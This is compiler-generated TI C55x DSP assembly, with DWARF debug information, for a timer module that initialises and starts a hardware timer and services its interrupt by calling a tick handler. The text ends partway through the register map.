DW_AT_comp_dir("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug") ;****************************************************************************** ;* CINIT RECORDS * ;****************************************************************************** .sect ".cinit" .align 1 .field 1,16 .field _fTimer+0,24 .field 0,8 .field 0,16 ; _fTimer @ 0 .sect ".cinit" .align 1 .field 1,16 .field _fTimer02+0,24 .field 0,8 .field 0,16 ; _fTimer02 @ 0 .sect ".cinit" .align 1 .field 1,16 .field _Timer0_Int_CTR+0,24 .field 0,8 .field 0,16 ; _Timer0_Int_CTR @ 0 .sect ".cinit" .align 1 .field 1,16 .field _Timer2_Int_CTR+0,24 .field 0,8 .field 0,16 ; _Timer2_Int_CTR @ 0 $C$DW$1 .dwtag DW_TAG_subprogram, DW_AT_name("vTickISR") .dwattr $C$DW$1, DW_AT_TI_symbol_name("_vTickISR") .dwattr $C$DW$1, DW_AT_declaration .dwattr $C$DW$1, DW_AT_external .global _fTimer .bss _fTimer,1,0,0 $C$DW$2 .dwtag DW_TAG_variable, DW_AT_name("fTimer") .dwattr $C$DW$2, DW_AT_TI_symbol_name("_fTimer") .dwattr $C$DW$2, DW_AT_location[DW_OP_addr _fTimer] .dwattr $C$DW$2, DW_AT_type(*$C$DW$T$22) .dwattr $C$DW$2, DW_AT_external .global _fTimer02 .bss _fTimer02,1,0,0 $C$DW$3 .dwtag DW_TAG_variable, DW_AT_name("fTimer02") .dwattr $C$DW$3, DW_AT_TI_symbol_name("_fTimer02") .dwattr $C$DW$3, DW_AT_location[DW_OP_addr _fTimer02] .dwattr $C$DW$3, DW_AT_type(*$C$DW$T$22) .dwattr $C$DW$3, DW_AT_external .global _Timer0_Int_CTR .bss _Timer0_Int_CTR,1,0,0 $C$DW$4 .dwtag DW_TAG_variable, DW_AT_name("Timer0_Int_CTR") .dwattr $C$DW$4, DW_AT_TI_symbol_name("_Timer0_Int_CTR") .dwattr $C$DW$4, DW_AT_location[DW_OP_addr _Timer0_Int_CTR] .dwattr $C$DW$4, DW_AT_type(*$C$DW$T$23) .dwattr $C$DW$4, DW_AT_external .global _Timer2_Int_CTR .bss _Timer2_Int_CTR,1,0,0 $C$DW$5 .dwtag DW_TAG_variable, DW_AT_name("Timer2_Int_CTR") .dwattr $C$DW$5, DW_AT_TI_symbol_name("_Timer2_Int_CTR") .dwattr $C$DW$5, DW_AT_location[DW_OP_addr _Timer2_Int_CTR] .dwattr $C$DW$5, DW_AT_type(*$C$DW$T$23) .dwattr $C$DW$5, DW_AT_external ; F:\t\cc5p5\ccsv5\tools\compiler\c5500_4.4.1\bin\acp55.exe -@f:\\AppData\\Local\\Temp\\2429612 .sect ".text" .align 4 .global _Timer0Init $C$DW$6 .dwtag DW_TAG_subprogram, DW_AT_name("Timer0Init") .dwattr $C$DW$6, DW_AT_low_pc(_Timer0Init) .dwattr $C$DW$6, DW_AT_high_pc(0x00) .dwattr $C$DW$6, DW_AT_TI_symbol_name("_Timer0Init") .dwattr $C$DW$6, DW_AT_external .dwattr $C$DW$6, DW_AT_TI_begin_file("../src/timer.c") .dwattr $C$DW$6, DW_AT_TI_begin_line(0x3c) .dwattr $C$DW$6, DW_AT_TI_begin_column(0x06) .dwattr $C$DW$6, DW_AT_TI_max_frame_size(0x01) .dwpsn file "../src/timer.c",line 61,column 1,is_stmt,address _Timer0Init .dwfde $C$DW$CIE, _Timer0Init ;******************************************************************************* ;* FUNCTION NAME: Timer0Init * ;* * ;* Function Uses Regs : SP,M40,SATA,SATD,RDM,FRCT,SMUL * ;* Stack Frame : Compact (No Frame Pointer, w/ debug) * ;* Total Frame Size : 1 word * ;* (1 return address/alignment) * ;* Min System Stack : 1 word * ;******************************************************************************* _Timer0Init: .dwcfi cfa_offset, 1 .dwcfi save_reg_to_mem, 91, -1 .dwpsn file "../src/timer.c",line 74,column 2,is_stmt MOV #32770, *port(#6160) ; |74| .dwpsn file "../src/timer.c",line 78,column 2,is_stmt MOV #0, *port(#6288) ; |78| .dwpsn file "../src/timer.c",line 90,column 2,is_stmt MOV #5000, *port(#6162) ; |90| .dwpsn file "../src/timer.c",line 94,column 2,is_stmt MOV #0, *port(#6163) ; |94| .dwpsn file "../src/timer.c",line 96,column 2,is_stmt MOV #0, *port(#6164) ; |96| .dwpsn file "../src/timer.c",line 97,column 2,is_stmt MOV #0, *port(#6165) ; |97| .dwpsn file "../src/timer.c",line 100,column 2,is_stmt MOV #7, *port(#7188) ; |100| .dwpsn file "../src/timer.c",line 105,column 2,is_stmt MOV #1, *port(#6166) ; |105| .dwpsn file "../src/timer.c",line 107,column 2,is_stmt MOV #0, *port(#6294) ; |107| .dwpsn file "../src/timer.c",line 113,column 2,is_stmt OR #0x0001, *port(#7188) ; |113| .dwpsn file "../src/timer.c",line 114,column 2,is_stmt OR #0x0002, *port(#7188) ; |114| .dwpsn file "../src/timer.c",line 115,column 2,is_stmt OR #0x0004, *port(#7188) ; |115| .dwpsn file "../src/timer.c",line 118,column 1,is_stmt $C$DW$7 .dwtag DW_TAG_TI_branch .dwattr $C$DW$7, DW_AT_low_pc(0x00) .dwattr $C$DW$7, DW_AT_TI_return RET ; return occurs .dwattr $C$DW$6, DW_AT_TI_end_file("../src/timer.c") .dwattr $C$DW$6, DW_AT_TI_end_line(0x76) .dwattr $C$DW$6, DW_AT_TI_end_column(0x01) .dwendentry .dwendtag $C$DW$6 .sect ".text" .align 4 .global _StartTimer0 $C$DW$8 .dwtag DW_TAG_subprogram, DW_AT_name("StartTimer0") .dwattr $C$DW$8, DW_AT_low_pc(_StartTimer0) .dwattr $C$DW$8, DW_AT_high_pc(0x00) .dwattr $C$DW$8, DW_AT_TI_symbol_name("_StartTimer0") .dwattr $C$DW$8, DW_AT_external .dwattr $C$DW$8, DW_AT_TI_begin_file("../src/timer.c") .dwattr $C$DW$8, DW_AT_TI_begin_line(0x94) .dwattr $C$DW$8, DW_AT_TI_begin_column(0x06) .dwattr $C$DW$8, DW_AT_TI_max_frame_size(0x01) .dwpsn file "../src/timer.c",line 149,column 1,is_stmt,address _StartTimer0 .dwfde $C$DW$CIE, _StartTimer0 ;******************************************************************************* ;* FUNCTION NAME: StartTimer0 * ;* * ;* Function Uses Regs : SP,M40,SATA,SATD,RDM,FRCT,SMUL * ;* Stack Frame : Compact (No Frame Pointer, w/ debug) * ;* Total Frame Size : 1 word * ;* (1 return address/alignment) * ;* Min System Stack : 1 word * ;******************************************************************************* _StartTimer0: .dwcfi cfa_offset, 1 .dwcfi save_reg_to_mem, 91, -1 .dwpsn file "../src/timer.c",line 151,column 2,is_stmt OR #0x0001, *port(#6160) ; |151| .dwpsn file "../src/timer.c",line 152,column 2,is_stmt OR #0x0001, *port(#6166) ; |152| .dwpsn file "../src/timer.c",line 153,column 1,is_stmt $C$DW$9 .dwtag DW_TAG_TI_branch .dwattr $C$DW$9, DW_AT_low_pc(0x00) .dwattr $C$DW$9, DW_AT_TI_return RET ; return occurs .dwattr $C$DW$8, DW_AT_TI_end_file("../src/timer.c") .dwattr $C$DW$8, DW_AT_TI_end_line(0x99) .dwattr $C$DW$8, DW_AT_TI_end_column(0x01) .dwendentry .dwendtag $C$DW$8 .sect ".text:retain" .align 4 .global _Timer_isr $C$DW$10 .dwtag DW_TAG_subprogram, DW_AT_name("Timer_isr") .dwattr $C$DW$10, DW_AT_low_pc(_Timer_isr) .dwattr $C$DW$10, DW_AT_high_pc(0x00) .dwattr $C$DW$10, DW_AT_TI_symbol_name("_Timer_isr") .dwattr $C$DW$10, DW_AT_external .dwattr $C$DW$10, DW_AT_TI_begin_file("../src/timer.c") .dwattr $C$DW$10, DW_AT_TI_begin_line(0xa2) .dwattr $C$DW$10, DW_AT_TI_begin_column(0x10) .dwattr $C$DW$10, DW_AT_TI_interrupt .dwattr $C$DW$10, DW_AT_TI_max_frame_size(0x2f) .dwpsn file "../src/timer.c",line 163,column 1,is_stmt,address _Timer_isr .dwfde $C$DW$CIE, _Timer_isr ;******************************************************************************* ;* INTERRUPT NAME: Timer_isr * ;* * ;* Function Uses Regs : AC0,AC0,AC1,AC1,AC2,AC2,AC3,AC3,T0,T1,AR0,AR1,AR2, * ;* AR3,AR4,SP,BKC,BK03,BK47,ST1,ST2,ST3,BRC0,RSA0,REA0, * ;* BRS1,BRC1,RSA1,REA1,CSR,RPTC,CDP,TRN0,TRN1,BSA01, * ;* BSA23,BSA45,BSA67,BSAC,CARRY,M40,SATA,SATD,RDM,FRCT, * ;* SMUL * ;* Save On Entry Regs : AC0,AC0,AC1,AC1,AC2,AC2,AC3,AC3,T0,T1,AR0,AR1,AR2, * ;* AR3,AR4,BKC,BK03,BK47,BRC0,RSA0,REA0,BRS1,BRC1,RSA1, * ;* REA1,CSR,RPTC,CDP,TRN0,TRN1,BSA01,BSA23,BSA45,BSA67, * ;* BSAC * ;******************************************************************************* _Timer_isr: .dwcfi cfa_offset, 3 .dwcfi save_reg_to_mem, 91, -3 AND #0xf91f, mmap(ST1_55) OR #0x4100, mmap(ST1_55) AND #0xfa00, mmap(ST2_55) OR #0x8000, mmap(ST2_55) PSH mmap(ST3_55) .dwcfi cfa_offset, 4 .dwcfi save_reg_to_mem, 42, -4 PSH dbl(AC0) .dwcfi cfa_offset, 5 .dwcfi save_reg_to_mem, 0, -5 .dwcfi cfa_offset, 6 .dwcfi save_reg_to_mem, 1, -6 PSH mmap(AC0G) .dwcfi cfa_offset, 7 .dwcfi save_reg_to_mem, 2, -7 PSH dbl(AC1) .dwcfi cfa_offset, 8 .dwcfi save_reg_to_mem, 3, -8 .dwcfi cfa_offset, 9 .dwcfi save_reg_to_mem, 4, -9 PSH mmap(AC1G) .dwcfi cfa_offset, 10 .dwcfi save_reg_to_mem, 5, -10 PSH dbl(AC2) .dwcfi cfa_offset, 11 .dwcfi save_reg_to_mem, 6, -11 .dwcfi cfa_offset, 12 .dwcfi save_reg_to_mem, 7, -12 PSH mmap(AC2G) .dwcfi cfa_offset, 13 .dwcfi save_reg_to_mem, 8, -13 PSH dbl(AC3) .dwcfi cfa_offset, 14 .dwcfi save_reg_to_mem, 9, -14 .dwcfi cfa_offset, 15 .dwcfi save_reg_to_mem, 10, -15 PSH mmap(AC3G) .dwcfi cfa_offset, 16 .dwcfi save_reg_to_mem, 11, -16 PSH T0 .dwcfi cfa_offset, 17 .dwcfi save_reg_to_mem, 12, -17 PSH T1 .dwcfi cfa_offset, 18 .dwcfi save_reg_to_mem, 13, -18 PSHBOTH XAR0 .dwcfi cfa_offset, 19 .dwcfi save_reg_to_mem, 16, -19 PSHBOTH XAR1 .dwcfi cfa_offset, 20 .dwcfi save_reg_to_mem, 18, -20 PSHBOTH XAR2 .dwcfi cfa_offset, 21 .dwcfi save_reg_to_mem, 20, -21 PSHBOTH XAR3 .dwcfi cfa_offset, 22 .dwcfi save_reg_to_mem, 22, -22 PSHBOTH XAR4 .dwcfi cfa_offset, 23 .dwcfi save_reg_to_mem, 24, -23 PSH mmap(BKC) .dwcfi cfa_offset, 24 .dwcfi save_reg_to_mem, 37, -24 PSH mmap(BK03) .dwcfi cfa_offset, 25 .dwcfi save_reg_to_mem, 38, -25 PSH mmap(BK47) .dwcfi cfa_offset, 26 .dwcfi save_reg_to_mem, 39, -26 PSH mmap(BRC0) .dwcfi cfa_offset, 27 .dwcfi save_reg_to_mem, 47, -27 PSH mmap(RSA0L) .dwcfi cfa_offset, 28 .dwcfi save_reg_to_mem, 48, -28 PSH mmap(RSA0H) .dwcfi cfa_offset, 29 .dwcfi save_reg_to_mem, 49, -29 PSH mmap(REA0L) .dwcfi cfa_offset, 30 .dwcfi save_reg_to_mem, 50, -30 PSH mmap(REA0H) .dwcfi cfa_offset, 31 .dwcfi save_reg_to_mem, 51, -31 PSH mmap(BRS1) .dwcfi cfa_offset, 32 .dwcfi save_reg_to_mem, 52, -32 PSH mmap(BRC1) .dwcfi cfa_offset, 33 .dwcfi save_reg_to_mem, 53, -33 PSH mmap(RSA1L) .dwcfi cfa_offset, 34 .dwcfi save_reg_to_mem, 54, -34 PSH mmap(RSA1H) .dwcfi cfa_offset, 35 .dwcfi save_reg_to_mem, 55, -35 PSH mmap(REA1L) .dwcfi cfa_offset, 36 .dwcfi save_reg_to_mem, 56, -36 PSH mmap(REA1H) .dwcfi cfa_offset, 37 .dwcfi save_reg_to_mem, 57, -37 PSH mmap(CSR) .dwcfi cfa_offset, 38 .dwcfi save_reg_to_mem, 58, -38 PSH mmap(RPTC) .dwcfi cfa_offset, 39 .dwcfi save_reg_to_mem, 59, -39 PSHBOTH XCDP .dwcfi cfa_offset, 40 .dwcfi save_reg_to_mem, 60, -40 PSH mmap(TRN0) .dwcfi cfa_offset, 41 .dwcfi save_reg_to_mem, 62, -41 PSH mmap(TRN1) .dwcfi cfa_offset, 42 .dwcfi save_reg_to_mem, 63, -42 PSH mmap(BSA01) .dwcfi cfa_offset, 43 .dwcfi save_reg_to_mem, 64, -43 PSH mmap(BSA23) .dwcfi cfa_offset, 44 .dwcfi save_reg_to_mem, 65, -44 PSH mmap(BSA45) .dwcfi cfa_offset, 45 .dwcfi save_reg_to_mem, 66, -45 PSH mmap(BSA67) .dwcfi cfa_offset, 46 .dwcfi save_reg_to_mem, 67, -46 PSH mmap(BSAC) .dwcfi cfa_offset, 47 .dwcfi save_reg_to_mem, 68, -47 AMAR *SP(#0), XAR1 AND #0xfffe, mmap(SP) PSH AR1 AADD #-1, SP .dwcfi cfa_offset, 47 .dwpsn file "../src/timer.c",line 164,column 1,is_stmt ADD #1, *(#_Timer0_Int_CTR) ; |164| .dwpsn file "../src/timer.c",line 166,column 5,is_stmt AND #0x0010, *(#1) ; |166| .dwpsn file "../src/timer.c",line 168,column 5,is_stmt MOV #0, *port(#6166) ; |168| .dwpsn file "../src/timer.c",line 175,column 7,is_stmt BSET ST3_SMUL BCLR ST3_SATA $C$DW$11 .dwtag DW_TAG_TI_branch .dwattr $C$DW$11, DW_AT_low_pc(0x00) .dwattr $C$DW$11, DW_AT_name("_vTickISR") .dwattr $C$DW$11, DW_AT_TI_call CALL #_vTickISR ; |175| ; call occurs [#_vTickISR] ; |175| .dwpsn file "../src/timer.c",line 216,column 1,is_stmt AADD #1, SP .dwcfi cfa_offset, 47 POP mmap(SP) POP mmap(BSAC) .dwcfi restore_reg, 68 .dwcfi cfa_offset, 46 POP mmap(BSA67) .dwcfi restore_reg, 67 .dwcfi cfa_offset, 45 POP mmap(BSA45) .dwcfi restore_reg, 66 .dwcfi cfa_offset, 44 POP mmap(BSA23) .dwcfi restore_reg, 65 .dwcfi cfa_offset, 43 POP mmap(BSA01) .dwcfi restore_reg, 64 .dwcfi cfa_offset, 42 POP mmap(TRN1) .dwcfi restore_reg, 63 .dwcfi cfa_offset, 41 POP mmap(TRN0) .dwcfi restore_reg, 62 .dwcfi cfa_offset, 40 POPBOTH XCDP .dwcfi restore_reg, 60 .dwcfi cfa_offset, 39 POP mmap(RPTC) .dwcfi restore_reg, 59 .dwcfi cfa_offset, 38 POP mmap(CSR) .dwcfi restore_reg, 58 .dwcfi cfa_offset, 37 POP mmap(REA1H) .dwcfi restore_reg, 57 .dwcfi cfa_offset, 36 POP mmap(REA1L) .dwcfi restore_reg, 56 .dwcfi cfa_offset, 35 POP mmap(RSA1H) .dwcfi restore_reg, 55 .dwcfi cfa_offset, 34 POP mmap(RSA1L) .dwcfi restore_reg, 54 .dwcfi cfa_offset, 33 POP mmap(BRC1) .dwcfi restore_reg, 53 .dwcfi cfa_offset, 32 POP mmap(BRS1) .dwcfi restore_reg, 52 .dwcfi cfa_offset, 31 POP mmap(REA0H) .dwcfi restore_reg, 51 .dwcfi cfa_offset, 30 POP mmap(REA0L) .dwcfi restore_reg, 50 .dwcfi cfa_offset, 29 POP mmap(RSA0H) .dwcfi restore_reg, 49 .dwcfi cfa_offset, 28 POP mmap(RSA0L) .dwcfi restore_reg, 48 .dwcfi cfa_offset, 27 POP mmap(BRC0) .dwcfi restore_reg, 47 .dwcfi cfa_offset, 26 POP mmap(BK47) .dwcfi restore_reg, 39 .dwcfi cfa_offset, 25 POP mmap(BK03) .dwcfi restore_reg, 38 .dwcfi cfa_offset, 24 POP mmap(BKC) .dwcfi restore_reg, 37 .dwcfi cfa_offset, 23 POPBOTH XAR4 .dwcfi restore_reg, 24 .dwcfi cfa_offset, 22 POPBOTH XAR3 .dwcfi restore_reg, 22 .dwcfi cfa_offset, 21 POPBOTH XAR2 .dwcfi restore_reg, 20 .dwcfi cfa_offset, 20 POPBOTH XAR1 .dwcfi restore_reg, 18 .dwcfi cfa_offset, 19 POPBOTH XAR0 .dwcfi restore_reg, 16 .dwcfi cfa_offset, 18 POP T1 .dwcfi restore_reg, 13 .dwcfi cfa_offset, 17 POP T0 .dwcfi restore_reg, 12 .dwcfi cfa_offset, 16 POP mmap(AC3G) .dwcfi restore_reg, 11 .dwcfi cfa_offset, 15 .dwcfi restore_reg, 10 .dwcfi cfa_offset, 14 POP dbl(AC3) .dwcfi restore_reg, 9 .dwcfi cfa_offset, 13 POP mmap(AC2G) .dwcfi restore_reg, 8 .dwcfi cfa_offset, 12 .dwcfi restore_reg, 7 .dwcfi cfa_offset, 11 POP dbl(AC2) .dwcfi restore_reg, 6 .dwcfi cfa_offset, 10 POP mmap(AC1G) .dwcfi restore_reg, 5 .dwcfi cfa_offset, 9 .dwcfi restore_reg, 4 .dwcfi cfa_offset, 8 POP dbl(AC1) .dwcfi restore_reg, 3 .dwcfi cfa_offset, 7 POP mmap(AC0G) .dwcfi restore_reg, 2 .dwcfi cfa_offset, 6 .dwcfi restore_reg, 1 .dwcfi cfa_offset, 5 POP dbl(AC0) .dwcfi restore_reg, 0 .dwcfi cfa_offset, 4 POP mmap(ST3_55) .dwcfi restore_reg, 43 .dwcfi cfa_offset, 3 $C$DW$12 .dwtag DW_TAG_TI_branch .dwattr $C$DW$12, DW_AT_low_pc(0x00) .dwattr $C$DW$12, DW_AT_TI_return RETI ; return occurs .dwattr $C$DW$10, DW_AT_TI_end_file("../src/timer.c") .dwattr $C$DW$10, DW_AT_TI_end_line(0xd8) .dwattr $C$DW$10, DW_AT_TI_end_column(0x01) .dwendentry .dwendtag $C$DW$10 ;****************************************************************************** ;* UNDEFINED EXTERNAL REFERENCES * ;****************************************************************************** .global _vTickISR ;******************************************************************************* ;* TYPE INFORMATION * ;******************************************************************************* $C$DW$T$4 .dwtag DW_TAG_base_type .dwattr $C$DW$T$4, DW_AT_encoding(DW_ATE_boolean) .dwattr $C$DW$T$4, DW_AT_name("bool") .dwattr $C$DW$T$4, DW_AT_byte_size(0x01) $C$DW$T$5 .dwtag DW_TAG_base_type .dwattr $C$DW$T$5, DW_AT_encoding(DW_ATE_signed_char) .dwattr $C$DW$T$5, DW_AT_name("signed char") .dwattr $C$DW$T$5, DW_AT_byte_size(0x01) $C$DW$T$6 .dwtag DW_TAG_base_type .dwattr $C$DW$T$6, DW_AT_encoding(DW_ATE_unsigned_char) .dwattr $C$DW$T$6, DW_AT_name("unsigned char") .dwattr $C$DW$T$6, DW_AT_byte_size(0x01) $C$DW$T$7 .dwtag DW_TAG_base_type .dwattr $C$DW$T$7, DW_AT_encoding(DW_ATE_signed_char) .dwattr $C$DW$T$7, DW_AT_name("wchar_t") .dwattr $C$DW$T$7, DW_AT_byte_size(0x01) $C$DW$T$8 .dwtag DW_TAG_base_type .dwattr $C$DW$T$8, DW_AT_encoding(DW_ATE_signed) .dwattr $C$DW$T$8, DW_AT_name("short") .dwattr $C$DW$T$8, DW_AT_byte_size(0x01) $C$DW$T$9 .dwtag DW_TAG_base_type .dwattr $C$DW$T$9, DW_AT_encoding(DW_ATE_unsigned) .dwattr $C$DW$T$9, DW_AT_name("unsigned short") .dwattr $C$DW$T$9, DW_AT_byte_size(0x01) $C$DW$T$22 .dwtag DW_TAG_typedef, DW_AT_name("Uint16") .dwattr $C$DW$T$22, DW_AT_type(*$C$DW$T$9) .dwattr $C$DW$T$22, DW_AT_language(DW_LANG_C) $C$DW$13 .dwtag DW_TAG_TI_far_type .dwattr $C$DW$13, DW_AT_type(*$C$DW$T$22) $C$DW$T$23 .dwtag DW_TAG_volatile_type .dwattr $C$DW$T$23, DW_AT_type(*$C$DW$13) $C$DW$T$10 .dwtag DW_TAG_base_type .dwattr $C$DW$T$10, DW_AT_encoding(DW_ATE_signed) .dwattr $C$DW$T$10, DW_AT_name("int") .dwattr $C$DW$T$10, DW_AT_byte_size(0x01) $C$DW$T$11 .dwtag DW_TAG_base_type .dwattr $C$DW$T$11, DW_AT_encoding(DW_ATE_unsigned) .dwattr $C$DW$T$11, DW_AT_name("unsigned int") .dwattr $C$DW$T$11, DW_AT_byte_size(0x01) $C$DW$T$12 .dwtag DW_TAG_base_type .dwattr $C$DW$T$12, DW_AT_encoding(DW_ATE_signed) .dwattr $C$DW$T$12, DW_AT_name("long") .dwattr $C$DW$T$12, DW_AT_byte_size(0x02) $C$DW$T$13 .dwtag DW_TAG_base_type .dwattr $C$DW$T$13, DW_AT_encoding(DW_ATE_unsigned) .dwattr $C$DW$T$13, DW_AT_name("unsigned long") .dwattr $C$DW$T$13, DW_AT_byte_size(0x02) $C$DW$T$14 .dwtag DW_TAG_base_type .dwattr $C$DW$T$14, DW_AT_encoding(DW_ATE_signed) .dwattr $C$DW$T$14, DW_AT_name("long long") .dwattr $C$DW$T$14, DW_AT_byte_size(0x04) .dwattr $C$DW$T$14, DW_AT_bit_size(0x28) .dwattr $C$DW$T$14, DW_AT_bit_offset(0x18) $C$DW$T$15 .dwtag DW_TAG_base_type .dwattr $C$DW$T$15, DW_AT_encoding(DW_ATE_unsigned) .dwattr $C$DW$T$15, DW_AT_name("unsigned long long") .dwattr $C$DW$T$15, DW_AT_byte_size(0x04) .dwattr $C$DW$T$15, DW_AT_bit_size(0x28) .dwattr $C$DW$T$15, DW_AT_bit_offset(0x18) $C$DW$T$16 .dwtag DW_TAG_base_type .dwattr $C$DW$T$16, DW_AT_encoding(DW_ATE_float) .dwattr $C$DW$T$16, DW_AT_name("float") .dwattr $C$DW$T$16, DW_AT_byte_size(0x02) $C$DW$T$17 .dwtag DW_TAG_base_type .dwattr $C$DW$T$17, DW_AT_encoding(DW_ATE_float) .dwattr $C$DW$T$17, DW_AT_name("double") .dwattr $C$DW$T$17, DW_AT_byte_size(0x02) $C$DW$T$18 .dwtag DW_TAG_base_type .dwattr $C$DW$T$18, DW_AT_encoding(DW_ATE_float) .dwattr $C$DW$T$18, DW_AT_name("long double") .dwattr $C$DW$T$18, DW_AT_byte_size(0x02) .dwattr $C$DW$CU, DW_AT_language(DW_LANG_C) ;*************************************************************** ;* DWARF CIE ENTRIES * ;*************************************************************** $C$DW$CIE .dwcie 91 .dwcfi cfa_register, 36 .dwcfi cfa_offset, 0 .dwcfi undefined, 0 .dwcfi undefined, 1 .dwcfi undefined, 2 .dwcfi undefined, 3 .dwcfi undefined, 4 .dwcfi undefined, 5 .dwcfi undefined, 6 .dwcfi undefined, 7 .dwcfi undefined, 8 .dwcfi undefined, 9 .dwcfi undefined, 10 .dwcfi undefined, 11 .dwcfi undefined, 12 .dwcfi undefined, 13 .dwcfi same_value, 14 .dwcfi same_value, 15 .dwcfi undefined, 16 .dwcfi undefined, 17 .dwcfi undefined, 18 .dwcfi undefined, 19 .dwcfi undefined, 20 .dwcfi undefined, 21 .dwcfi undefined, 22 .dwcfi undefined, 23 .dwcfi undefined, 24 .dwcfi undefined, 25 .dwcfi same_value, 26 .dwcfi same_value, 27 .dwcfi same_value, 28 .dwcfi same_value, 29 .dwcfi same_value, 30 .dwcfi same_value, 31 .dwcfi undefined, 32 .dwcfi undefined, 33 .dwcfi undefined, 34 .dwcfi undefined, 35 .dwcfi undefined, 36 .dwcfi undefined, 37 .dwcfi undefined, 38 .dwcfi undefined, 39 .dwcfi undefined, 40 .dwcfi undefined, 41 .dwcfi undefined, 42 .dwcfi undefined, 43 .dwcfi undefined, 44 .dwcfi undefined, 45 .dwcfi undefined, 46 .dwcfi undefined, 47 .dwcfi undefined, 48 .dwcfi undefined, 49 .dwcfi undefined, 50 .dwcfi undefined, 51 .dwcfi undefined, 52 .dwcfi undefined, 53 .dwcfi undefined, 54 .dwcfi undefined, 55 .dwcfi undefined, 56 .dwcfi undefined, 57 .dwcfi undefined, 58 .dwcfi undefined, 59 .dwcfi undefined, 60 .dwcfi undefined, 61 .dwcfi undefined, 62 .dwcfi undefined, 63 .dwcfi undefined, 64 .dwcfi undefined, 65 .dwcfi undefined, 66 .dwcfi undefined, 67 .dwcfi undefined, 68 .dwcfi undefined, 69 .dwcfi undefined, 70 .dwcfi undefined, 71 .dwcfi undefined, 72 .dwcfi undefined, 73 .dwcfi undefined, 74 .dwcfi undefined, 75 .dwcfi undefined, 76 .dwcfi undefined, 77 .dwcfi undefined, 78 .dwcfi undefined, 79 .dwcfi undefined, 80 .dwcfi undefined, 81 .dwcfi undefined, 82 .dwcfi undefined, 83 .dwcfi undefined, 84 .dwcfi undefined, 85 .dwcfi undefined, 86 .dwcfi undefined, 87 .dwcfi undefined, 88 .dwcfi undefined, 89 .dwcfi undefined, 90 .dwcfi undefined, 91 .dwendentry ;*************************************************************** ;* DWARF REGISTER MAP * ;*************************************************************** $C$DW$14 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC0") .dwattr $C$DW$14, DW_AT_location[DW_OP_reg0] $C$DW$15 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC0") .dwattr $C$DW$15, DW_AT_location[DW_OP_reg1] $C$DW$16 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC0_G") .dwattr $C$DW$16, DW_AT_location[DW_OP_reg2] $C$DW$17 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC1") .dwattr $C$DW$17, DW_AT_location[DW_OP_reg3] $C$DW$18 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC1") .dwattr $C$DW$18, DW_AT_location[DW_OP_reg4] $C$DW$19 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC1_G") .dwattr $C$DW$19, DW_AT_location[DW_OP_reg5] $C$DW$20 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC2") .dwattr $C$DW$20, DW_AT_location[DW_OP_reg6] $C$DW$21 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC2") .dwattr $C$DW$21, DW_AT_location[DW_OP_reg7] $C$DW$22 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC2_G") .dwattr $C$DW$22, DW_AT_location[DW_OP_reg8] $C$DW$23 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC3") .dwattr $C$DW$23, DW_AT_location[DW_OP_reg9] $C$DW$24 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC3") .dwattr $C$DW$24, DW_AT_location[DW_OP_reg10] $C$DW$25 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC3_G") .dwattr $C$DW$25, DW_AT_location[DW_OP_reg11] $C$DW$26 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T0") .dwattr $C$DW$26, DW_AT_location[DW_OP_reg12] $C$DW$27 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T1") .dwattr $C$DW$27, DW_AT_location[DW_OP_reg13] $C$DW$28 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T2") .dwattr $C$DW$28, DW_AT_location[DW_OP_reg14] $C$DW$29 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T3") .dwattr $C$DW$29, DW_AT_location[DW_OP_reg15] $C$DW$30 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR0") .dwattr $C$DW$30, DW_AT_location[DW_OP_reg16] $C$DW$31 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR0") .dwattr $C$DW$31, DW_AT_location[DW_OP_reg17] $C$DW$32 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR1") .dwattr $C$DW$32, DW_AT_location[DW_OP_reg18] $C$DW$33 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR1") .dwattr $C$DW$33, DW_AT_location[DW_OP_reg19] $C$DW$34 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR2") .dwattr $C$DW$34, DW_AT_location[DW_OP_reg20] $C$DW$35 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR2") .dwattr $C$DW$35, DW_AT_location[DW_OP_reg21] $C$DW$36 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR3") .dwattr $C$DW$36, DW_AT_location[DW_OP_reg22] $C$DW$37 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR3") .dwattr $C$DW$37, DW_AT_location[DW_OP_reg23] $C$DW$38 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR4") .dwattr $C$DW$38, DW_AT_location[DW_OP_reg24] $C$DW$39 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR4") .dwattr $C$DW$39, DW_AT_location[DW_OP_reg25] $C$DW$40 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR5") .dwattr $C$DW$40, DW_AT_location[DW_OP_reg26] $C$DW$41 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR5") .dwattr $C$DW$41, DW_AT_location[DW_OP_reg27] $C$DW$42 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR6") .dwattr $C$DW$42, DW_AT_location[DW_OP_reg28] $C$DW$43 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR6") .dwattr $C$DW$43, DW_AT_location[DW_OP_reg29] $C$DW$44 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR7") .dwattr $C$DW$44, DW_AT_location[DW_OP_reg30] $C$DW$45 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR7") .dwattr $C$DW$45, DW_AT_location[DW_OP_reg31] $C$DW$46 .dwtag 